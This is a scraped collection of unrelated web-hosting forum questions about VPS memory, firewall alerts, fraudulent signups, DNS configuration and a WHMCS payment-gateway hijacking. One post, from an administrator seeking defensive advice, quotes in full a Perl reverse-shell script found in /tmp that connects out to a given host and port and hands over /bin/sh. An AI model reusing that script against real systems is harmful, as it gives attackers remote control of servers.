this is way better, my server goes up for 10-20 minutes then I have to hit restart from the virtouzzo, becuase the server simply goes dead. nothing loads..
how can I know which site on my vps is causing trouble and how to fix it?
I dont know if this has been asked before. Anyway what I want to accomplish is I want an email be sent to my email address everytime someone connects to my SSH. I want an email sent regardless it was a successful or failed login. Is there a step by step tutorial for this.

I have a VPS. And have had an issue both when it was 1Gig and now I recently downgraded it to 768m, because I am moving some sites to a dedicated.
However, the part I am having trouble grasping is that when I look at graphs from Munin, it will typically always show 200-400MB free memory (and free -m and top agrees with munin), but Munin shows 'committed' memory that is above the total Ram on the VPS and once the 'committed' ram exceeds the VPS limit, processes start failing.
So, why is 'committed' memory exceeding the RAM on my VPS, when Munin, free -m and top all show there is free memory available?
Code:
root@server [~]# free -m
total used free shared buffers cached
Mem: 768 449 318 0 0 0
-/+ buffers/cache: 449 318
Swap: 0 0 0
Here's a graph that munin produces that shows the 'committed' memory exceeding the total memory.

I installed csf: v3.28 on my server .
Where is this email configurable? I have seen this email alert notification in the logs numerous times but have yet to receive any alert emails from CSF/LFD.
i have this notification that keeps coming from the same ip at least 10 or 20 times a day since 3 days aprox. dunno what it is...
this is the message:

it looks like spam... is my server sending spam or im receiving it?
I have many domains and webservers. so it's hard to monitor everything usually. i heard there are some websites and softwares to do this.
does windows 2003 have anything default like this ? or can anyone suggest the application for my windows 2003 server? which sends alerts if any error is going on my server?
Also there any other websites which is doing this monitoring? because i have some shared accounts and i want to monitor it too.
I am getting on every 10 minutes mails like that from my server every one has different ports

How can i find why this is coming? My managment company said me that a script is tryig to open a socket but we couldnt find the script. Is there any people here have like a similar issue or how can i find and solve this?
has anyone purchased a server from the op and received it yet?
View 14 Replies View RelatedIn less than 5 mins of account activation user named Paul McGrath, supposedly from NY. Allegedly using lolchurch.com domain (that domain was never forwarded to our server) and user just put a script called send.php and let it rip.
Good thing i was around and management looked at it within minutes (AcuNett).
So, watch for this user signing up and check account(if using that user name or similar domain or recent signups) for any such php page.
Now asks us for refund for suspending his site for spamming.. Asked for his driver license copy to first verify his address, so possibly i can report to paypal for possible fraud too or some online internet police maybe for fraud if there is such a police
Note to Mods. not sure where threads like these go to!
Quick edit: Now user trying to threaten us to give their refund cause they want it back for they spammed and deserve a refund for the same.
"Your servers were awful anyways, I maybe sent 500 emails? I'm gonna ask nicely before I actually do something about this, give me a refund."
he forgot 500 emails in less than 5 mins. does not look like not-spam. Anyways i go have some chat with the fraud, id does not match paypal payment id
why its doing this when i try create a vps?

I've gotten two fraudulent signups from the following ip address:
206.53.49.**
Luckily, maxmind has caught him both times, but he's using an address from canada and the phone is fake but the domains he's using are real.
I've gone ahead and blocked the ips, but I just wanted to let you guys know.
Gmail has a feature to detect email phishing and it marks them with a red header alert saying "Warning" This message may not be from whom......", I believe this red alert has nothing to do with spf record of that email, so how does it detect it as phishing email?
We have spf record and I sent an email from another server, when I received that emai the spf record was "softfail" but it does not have that red alert.
I got this system email:
Time: Sun Mar 23 23:09:01 2008
File: /tmp/back
Reason: Script, starts with #!
Owner: nobody:nobody
Action: No action taken
So I looked and the file says this:
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!
");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!
");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!
");
connect(SOCKET, $paddr) || die("Error: $!
");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
That one line 'echo "`uname -a`";echo "`id`";/bin/sh';
how i can secure vps from this kind of script and known when someone upload shell script. How do I set the alert so I get to know that someone has uploaded a script on the server
View 3 Replies View RelatedI've run "DNS report" test for one hosting in dnsstuff.com and got this warning (as some times before for other hosts:
---------------------
Fail:
Open DNS server
ERROR: One or more of your nameservers reports that it is an open DNS server. This usually means that anyone in the world can query it for domains it is not authoritative for (it is possible that the DNS server advertises that it does recursive lookups when it does not, but that shouldn't happen). This can cause an excessive load on your DNS server. Also, it is strongly discouraged to have a DNS server be both authoritative for your domain and be recursive (even if it is not open), due to the potential for cache poisoning (with no recursion, there is no cache, and it is impossible to poison it). Also, the bad guys could use your DNS server as part of an attack, by forging their IP address.

View 12 Replies View Relatedthis is not a WHMCS vulnerability, & you are most likely not affected if you have used the Further Security Tutorials, given by WHMCS.
1.) What has happened?
A professional hacker, signs up as a client, & adds a shell script to your attachments/downloads folder.
He gains complete access to your WHMCS admin, & changes your paypal & other gateway emails/accounts, to his emails/accounts.
2.) What to do?
Check your attachments/downloads folders, for any such scripts.
Use - [url]Furthur_Security_Steps to secure it.
Go to Payment Gateways, & check if the accounts are yours.
3.) How do I know so much about this?
Our installation, was also hacked. But, this hacker made a mistake.
He used his email account password, for signing up. I could get into his email, & see who has been hacked. I could also get into his PayPal & Egold, & refund all payments intended to go to LaceHost (me). I saw other host's payments too.
4.) Hacker has changed his modus operandi.
He now changes the paypal, to some other host's paypal, instead of his.
He also deleted tables from your database, may create a new administrator account, may modify other accounts, add affiliate commission etc.
5.) For more information on this hacker,
Add me on IM - lacehost [dot] live1 [at] yahoo [dot] com
6.) How many have been hacked?
According to what I saw in his PayPal, & his email, atleast 15 hosts have been hacked.
If your paypal has been changed to some other host's paypal, please do not blame them for hacking, we really do not need an inter-industry war here
I use CSF on a VPS with 512 RAM and 1024 Busrt and the other day I received the below notification. My hostsaid it was Mailman and since I don't use mailing lists the recommendationwas to disable it. So I did. I'm curious tho as to why this happened in the first place.

I just got a new server Dual E5520 with 6GB RAM, SAS 15k rpm raid10. It's running well. However, the memory usage is just around 2.5GB, even when I have more traffic. Here is the kernel info

Any idea that we can put more content into memory?
I just ordered a server from serverbeach that should have come with 2 GB but I see that this one comes with 8 GB
Unfortunately, I seem to be missing 7 GB of ram.
Installed Physical Memory: 8 GB
Total Physical Memory: 1 GB
Windows 2008 Server Web 32-bit
Now, being a 32-bit system, I should see 3-4 GB of ram right?
Any idea why only 1 GB is available for the OS?

I have a 512mb DV server with Mediatemple, which I am running 24 (ish) domains off (most of them static websites) and a teamspeak server. I would say MAX theres 10 users online at a time)
Now, I know its running out of memory because i get frequent QoS Alerts in plesk (kmemsize is apparently the memory size):
Oct 01, 2009 11:52:57 AMBlack zonekmemsize
I have attached my results (when I did top).
My questions are:
1. Should I be expecting to be out of memory running what I am?
2. Is there a way to see the problem domains (memory wise)?
3. Are there any ways I can reduce the memory? (I have followed this already:

4. Where is the memory usage coming from (I am finding it very hard to understand TOP)
I got a VPS last night and right after I got my HyperVM login info. I tried to install Lxadmin (Kloxo) but I got the following error:
Alert: rebuild_failed_could_not_untar
Screenshot: [url]
I have tried many times to rebuild the VPS and Install lxadmin but I get the same error. I am not an expert working with VPS but if anyone here would like to help, please give me as many steps as possible so that I can do it. As of right now, I cannot SSH to my VPS, I can only access HyperVM.
I am hoping someone with experience of these things can comment on memory usage on my VPS partition. The master server on which my partition sits seems to be running at full memory usage and I'm getting lots of fork and mutex errors in apache causing apache to crash several times a day.
I'm running Invision Power Board on there with an average of 100 users in the last 15 mins during most of the day.
